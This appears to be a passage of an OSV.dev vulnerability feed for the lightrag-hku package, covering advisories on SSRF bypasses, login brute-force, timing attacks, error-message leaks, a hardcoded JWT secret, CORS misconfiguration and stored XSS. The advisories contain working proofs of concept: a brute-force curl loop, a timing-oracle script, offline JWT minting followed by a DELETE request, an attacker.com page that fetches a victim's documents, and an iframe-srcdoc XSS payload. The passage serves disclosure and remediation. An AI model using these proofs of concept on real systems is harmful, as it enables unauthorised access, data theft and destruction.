    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

May 07, 2026

1.5.0rc1 pre

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

